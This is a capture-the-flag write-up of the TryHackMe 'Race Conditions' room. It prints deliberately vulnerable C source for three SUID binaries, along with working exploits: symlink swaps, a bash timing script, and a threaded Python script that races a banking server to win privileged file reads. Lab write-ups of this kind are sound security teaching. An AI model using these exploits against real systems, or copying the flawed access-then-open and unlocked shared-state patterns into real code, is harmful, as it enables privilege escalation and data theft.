---
description: Knock knock! Race condition. Who's there? - by vealending
---

# Race Conditions

{% embed url="https://tryhackme.com/room/raceconditions" %}

This room is about race conditions, as the title states. In the home directories of Walk, Run and Sprint are in each of one a vulnerable SUID binary with its corresponding C source code. The task is to exploit the binary to read the contents of the flags.



## Walk

Using the provided ssh credentials, we directly log in and check out the home directory of Walk. In this, we'll find the binary `anti_flag_reader` with its source code and a flag, owned by Walk.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUmhFU4CZdYbfP2fajbwN%2Fimage.png?alt=media&#x26;token=7321995e-001f-48c8-80a1-47e5b73ed372" alt=""><figcaption></figcaption></figure>

Running the binary without any parameters, it's describing its usage.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FH5lGIwHcvqJuB9X53UUK%2Fimage.png?alt=media&#x26;token=dd307c6e-d324-4e23-b947-6be7197f4a30" alt=""><figcaption></figcaption></figure>

Running the binary with the flag as a parameter reveals that it is checking the provided file path and if the file is a symbolic link. To progress, the user has to hit enter.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FjuhmISEk5uE6vauGBxNW%2Fimage.png?alt=media&#x26;token=8cb85d83-db38-49b1-823e-a7fc9be91bc0" alt=""><figcaption></figcaption></figure>

After hitting enter, it refuses to give us the flag. Obviously, the file path contained the flag.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F8NQMtmNw2mJceFv74tP0%2Fimage.png?alt=media&#x26;token=8c84481a-2229-403e-b376-612a2480d49c" alt=""><figcaption></figcaption></figure>

Just to check with a file that is neither a symlink nor has the word `flag` in its file path, it is printing out the content for us.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVTJ7z63VJeKMuJj5APQ7%2Fimage.png?alt=media&#x26;token=74cd0dfd-3b27-4571-bbe6-5496fd50674b" alt=""><figcaption></figcaption></figure>

So, next, we take a look at the source code. We see it is checking for the word `flag` in the provided file path (line 21) and if the file is a symbolic link (line 24). The results of the checks are stored in variables, which are then used after the user hit enter (line 29). The explicit check for symbolic links is a big hint for us.

{% hint style="info" %}
A symbolic link is a file that points to a file or directory&#x20;
{% endhint %}

Now, as long as the user doesn't hit enter, it is possible to replace the file and bypass the checks done before. Those are still valid and stored in the variables. This flaw is the so call Time-of-check to time-of-use vulnerability, where a program or system checks the status of something at one time but uses that information at a later time.

So, the vulnerability arises because the program assumes that the information obtained during the initial check will remain valid when it is actually used. The time gap between the check and use creates a window of opportunity for the file's state to change, potentially leading to incorrect or insecure behavior.

To abuse this vulnerability, we run the binary with a valid file, and replace it with a symbolic link pointing to the flag of user Walk.&#x20;

{% code title="anti_flag_reader.c" lineNumbers="true" %}
```c
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp) {

    int n;
    char buf[1024];
    struct stat lstat_buf;

    if (argc != 2) {
        puts("Usage: anti_flag_reader <FILE>");
        return 1;
    }
    
    //Time of Check
    puts("Checking if 'flag' is in the provided file path...");
    int path_check = strstr(argv[1], "flag");
    puts("Checking if the file is a symlink...");
    lstat(argv[1], &lstat_buf);
    int symlink_check = (S_ISLNK(lstat_buf.st_mode));
    puts("<Press Enter to continue>");
    getchar();
    
    //Time of Use
    if (path_check || symlink_check) {
        puts("Nice try, but I refuse to give you the flag!");
        return 1;
    } else {
        puts("This file can't possibly be the flag. I'll print it out for you:\n");
        int fd = open(argv[1], 0);
        assert(fd >= 0 && "Failed to open the file");
        while((n = read(fd, buf, 1024)) > 0 && write(1, buf, n) > 0);
    }
    
    return 0;
}

```
{% endcode %}



We used the already created file from our initial test. And don't hit enter.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHz5dfrAjrW9uU9N96KTb%2Fimage.png?alt=media&#x26;token=497b304b-5928-46f6-b615-97722d59a00c" alt=""><figcaption></figcaption></figure>

Next, the symbolic link is created in another `ssh` session with `ln -sf ../walk/flag file` in the home directory of the user race.

{% hint style="info" %}
`ln` make links between files

`-s, --symbolic` make symbolic links instead of hard links

`-f, --force` remove existing destination files
{% endhint %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F35PfXZ8AUVJX9cuXfxMb%2Fimage.png?alt=media&#x26;token=4077b370-2fca-4823-9def-be93a0beff94" alt=""><figcaption></figcaption></figure>

Hitting enter to continue gives us the flag of user Walk.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCWjMk3j6qQmaiJVtw7ow%2Fimage.png?alt=media&#x26;token=b1fc0666-9b22-4960-ba2c-4e0f59bbba5d" alt=""><figcaption></figcaption></figure>

While trying to abuse the TOCTOU of the user Walk, the first attempts were done in the `/tmp` directory, creating files and symbolic links there for `/home/walk/flag`, which were without success. For more information see:&#x20;

{% hint style="info" %}
[https://sysctl-explorer.net/fs/protected\_symlinks/](https://sysctl-explorer.net/fs/protected_symlinks/)
{% endhint %}

In the case of `protected_symlinks` for the `/tmp` directory, the feature ensures that only symlinks are followed when the uid of the symlink and follower matches, or when the directory owner matches the symlink’s owner, or outside a sticky world-writable directory such as `/tmp`.

This prevents other users or processes from creating malicious symlinks that could be exploited to access or modify sensitive files or directories.



## Run

In the home directory of user Run, we'll find the binary `cat2` with its source code and a flag, owned by Run.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FepOY4KGMXpVHeWpjwBWp%2Fimage.png?alt=media&#x26;token=96d2e5f6-1eaf-4a61-97b3-4c3a374482d5" alt=""><figcaption></figcaption></figure>

Running `cat2` with an example file, it advertises itself as a more secure version of the popular `cat` command by performing additional checks on the user's security context.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fj4r2oO28TLUUaA7lTIny%2Fimage.png?alt=media&#x26;token=5b74b21b-dfe6-466e-8da5-6b0635f371bb" alt=""><figcaption></figcaption></figure>

Looking at the source code of `cat2`, the checks are performed at line 24 by calling the function check\_security\_context. The function checks if the current user has read permission on that file with `access(file_name, R_OK);` after the check `usleep` is called, used to suspend the execution of the program for 500 microseconds.&#x20;

It is almost the same case of a TOCTOU as with the binary of Walk. But this time we have to time the symbolic link creation more correctly. In the time frame after executing the check, and being in the sleep state of the program. The symbolic link has to point to `/home/run/flag`.

{% code title="cat2.c" lineNumbers="true" %}
```c
#include <stdio.h>
#include <unistd.h>
#include <assert.h>

int main(int argc, char **argv, char **envp) {

    int fd;
    int n;
    int context; 
    char buf[1024];

    if (argc != 2) {
        puts("Usage: cat2 <FILE>");
        return 1;
    }

    puts("Welcome to cat2!");
    puts("This program is a side project I've been working on to be a more secure version of the popular cat command");
    puts("Unlike cat, the cat2 command performs additional checks on the user's security context");
    puts("This allows the command to be security compliant even if executed with SUID permissions!\n");
    puts("Checking the user's security context...");
    
    //Time of Check
    context = check_security_contex(argv[1]);
    puts("Context has been checked, proceeding!\n");

    //Time of Use
    if (context == 0) {
        puts("The user has access, outputting file...\n");
        fd = open(argv[1], 0);
        assert(fd >= 0 && "Failed to open the file");
        while((n = read(fd, buf, 1024)) > 0 && write(1, buf, n) > 0);
    } else {
        puts("[SECURITY BREACH] The user does not have access to this file!");
        puts("Terminating...");
        return 1;
    }
    
    return 0;
}

int check_security_contex(char *file_name) {

    int context_result;

    context_result = access(file_name, R_OK);
    //Time of Check takes 500 microseconds
    usleep(500);

    return context_result;
}
```
{% endcode %}



Before we continue, first we remove our test file `file` and write a simple bash script, which creates a valid file owned by race. Running cat2 in the background and after 200 microseconds creating the symbolic link to `/home/run/flag` while `cat2` is running.&#x20;

{% code title="ex-run.sh" lineNumbers="true" %}
```bash
#!/bin/bash

touch file
/home/run/./cat2 file &
usleep 200
ln -sf /home/run/flag file
wait
rm file
```
{% endcode %}

Running the script, we are able to read the contents of `/home/run/flag`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FhH2NjpJswecujMsSngjz%2Fimage.png?alt=media&#x26;token=1be41fef-7935-4b55-a267-be0d1357ada8" alt=""><figcaption></figcaption></figure>

## Sprint

As with the other users, we have the SUID binary `bankingsystem`, its corresponding c source code and the flag.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXZ80l2drWivz7nZZgX76%2Fimage.png?alt=media&#x26;token=a809d080-8828-4086-a2ef-e31d88496724" alt=""><figcaption></figcaption></figure>

Checking out the source code, it is different to the other two.

It is a simple server application that listens for incoming connections on port 1337. It creates a new thread for each connection received to handle client requests concurrently. The server supports three commands: `deposit`, `withdraw`, and `purchase flag`.



* `deposit`: the server increments the global variable `money` by 10,000.
* `withdraw`: the server decrements the `money` variable by 10,000.
* `purchase flag`: the server checks if the `money` variable is at least 15,000. If so, it sends the contents of the file located at `/home/sprint/flag` to the client using the `sendfile` function and deducts 15,000 from `money`. If the client doesn't have enough money, it sends a message indicating insufficient funds.



Looking at the variable `money` we see that is a shared variable. Multiple threads can access and modify this variable concurrently without any synchronization mechanism, which can lead to race conditions.

With each session created, we are only able to add 10,000. But if multiple threads execute the deposit operation simultaneously, they may read the value of `money`, modify it, and then update the value independently. This can result in incorrect calculations and an inconsistent final balance.&#x20;

Similarly, if multiple threads execute the purchase flag operation concurrently and have enough money to purchase the flag, they may all read the value of `money`, check the balance, and proceed with the purchase. This can lead to the flag being purchased.



{% code title="bankingsystem.c" lineNumbers="true" %}
```c
#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <sys/sendfile.h>
#include <sys/stat.h>
#include <string.h>
#include <fcntl.h>

typedef struct {
    int sock;
    struct sockaddr address;
    int addr_len;
} connection_t;

int money;

void *run_thread(void *ptr) {

    long addr;
    char *buffer;
    int buffer_len = 1024;
    char balance[512];
    int balance_length;
    connection_t *conn;

    if (!ptr) pthread_exit(0);

    conn = (connection_t *)ptr;
    addr = (long)((struct sockaddr_in *) &conn->address)->sin_addr.s_addr;
    buffer = malloc(buffer_len + 1);
    buffer[buffer_len] = 0;
    
    read(conn->sock, buffer, buffer_len);
    
    if (strstr(buffer, "deposit")) {
        money += 10000;
    } else if (strstr(buffer, "withdraw")) {
        money -= 10000;
    } else if (strstr(buffer, "purchase flag")) {
        if (money >= 15000) {
            sendfile(conn->sock, open("/home/sprint/flag", O_RDONLY), 0, 128);
            money -= 15000;
        } else {
            write(conn->sock, "Sorry, you don't have enough money to purchase the flag\n", 56);
        }
    }

    balance_length = snprintf(balance, 1024, "Current balance: %d\n", money);
    write(conn->sock, balance, balance_length);
    
    usleep(1);
    money = 0;
    
    close(conn->sock);
    free(buffer);
    free(conn);
    
    pthread_exit(0);
}

int main(int argc, char **argv) {

    int sock = -1;
    int port = 1337;
    struct sockaddr_in address;
    connection_t *connection;
    pthread_t thread;

    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &(int){1}, sizeof(int));

    address.sin_family = AF_INET;
    address.sin_addr.s_addr = INADDR_ANY;
    address.sin_port = htons(port);

    if (bind(sock, (struct sockaddr *) &address, sizeof(struct sockaddr_in)) < 0) {
        fprintf(stderr, "Cannot bind to port %d\n", port);
        return -1;
    }
    
    if (listen(sock, 32) < 0) {
        fprintf(stderr, "Cannot listen on port %d\n", port);
        return -1;
    }

    fprintf(stdout, "Listening for connections on port %d...\n", port);
    fprintf(stdout, "Accepted commands: \"deposit\", \"withdraw\", \"purchase flag\"\n");

    while (1) {
        connection = (connection_t *) malloc(sizeof(connection_t));
        connection->sock = accept(sock, &connection->address, &connection->addr_len);
        if (connection->sock <= 0) {
            free(connection);
        } else {
            fprintf(stdout, "Connection received! Creating a new handler thread...\n");
            pthread_create(&thread, 0, run_thread, (void *) connection);
            pthread_detach(thread);
        }
    }
    
    return 0;
}
```
{% endcode %}



Next, we check out the binary and run it.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWV30IX7R57bJ0ZahixzI%2Fimage.png?alt=media&#x26;token=494c56d1-913f-4a3b-94b0-0b0e24da58a1" alt=""><figcaption></figcaption></figure>

Using Nmap to check if the port is open.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FudqLj1YplftxHANfkChM%2Fimage.png?alt=media&#x26;token=c2e82398-c547-45c7-92e1-895a874b832b" alt=""><figcaption></figcaption></figure>

Connecting to the machine on port 1337 we are able to deposit and the connection closes.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZRV44tb9MerD0xCAIRjH%2Fimage.png?alt=media&#x26;token=8c108444-f5ce-47a5-b473-a2e068858ea7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGP42LVsM9NDUwkn716an%2Fimage.png?alt=media&#x26;token=48cc00bf-de7d-4f2e-ab6e-f43877e64532" alt=""><figcaption></figcaption></figure>



Next, a script is needed to connect to the application multiple times concurrently to deposit and have them read the value of `money`, modify it, and then update the value independently with the chance of reading a value above 0 produced by other threads and getting a deposite above 10000.

{% code title="ex-sprint.py" lineNumbers="true" %}
```python
import socket
import threading

def send_request(command):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # Connect to the server at IP '10.10.23.206' and port 1337
        sock.connect(('10.10.23.206', 1337))  
        # Send the command to the server (encoded as bytes)
        sock.sendall(command.encode())  
        # Receive the response from the server (up to 1024 bytes)
        response = sock.recv(1024) 
        # Print the response after decoding it from bytes to string 
        print(response.decode())  
        # Close the socket connection
        sock.close()  
    except Exception as e:
        print(f"Error: {str(e)}")

def run_concurrent_operations():
    # The command to be sent to the server
    deposit = "deposit"  
    for i in range(1, 1000):
        # Create a new thread with the send_request function as the target
        t1 = threading.Thread(target=send_request, args=(deposit,))  
        # Start the thread, allowing it to run concurrently with other threads
        t1.start()  
    # Wait for all the threads to finish before moving forward
    t1.join()  

# Call the run_concurrent_operations function to execute the program
run_concurrent_operations()  

```
{% endcode %}

Running the script and observing the output we can see that sometimes the balance reached 20000 or 30000. Here we have proof of a race condition as described before and should be able to  purchase the flag.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FxNNNxMYpYwaNdRmZVpWC%2Fimage.png?alt=media&#x26;token=7e5597c2-8a71-4d08-b663-b847fd0196be" alt=""><figcaption></figcaption></figure>

Next, we just add a thread to execute the `purchase flag` command to the script.

{% code title="ex-sprint.py" lineNumbers="true" %}
```python
import socket
import threading

def send_request(command):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # Connect to the server at IP '10.10.23.206' and port 1337
        sock.connect(('10.10.23.206', 1337))  
        # Send the command to the server (encoded as bytes)
        sock.sendall(command.encode())  
        # Receive the response from the server (up to 1024 bytes)
        response = sock.recv(1024) 
        # Print the response after decoding it from bytes to string 
        print(response.decode())  
        # Close the socket connection
        sock.close()  
    except Exception as e:
        print(f"Error: {str(e)}")

def run_concurrent_operations():
    # The commands to be sent to the server
    deposit = "deposit"  
    flag = "purchase flag"  
    for i in range(1, 1000):
        # Create a new thread with the send_request function as the target
        t1 = threading.Thread(target=send_request, args=(deposit,)) 
        t2 = threading.Thread(target=send_request, args=(flag,))  
        # Start the thread, allowing it to run concurrently with other threads
        t1.start()  
        t2.start()
    # Wait for all the threads to finish before moving forward
    t1.join()  
    t2.join()

# Call the run_concurrent_operations function to execute the program
run_concurrent_operations()  
```
{% endcode %}

After running the new script and scrolling trough the output eventually reveals to us the flag of user Sprint.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5MFzCeLVelD9guetUptE%2Fimage.png?alt=media&#x26;token=78f14dc6-5d09-4102-9633-bb0dfdbded95" alt=""><figcaption></figcaption></figure>

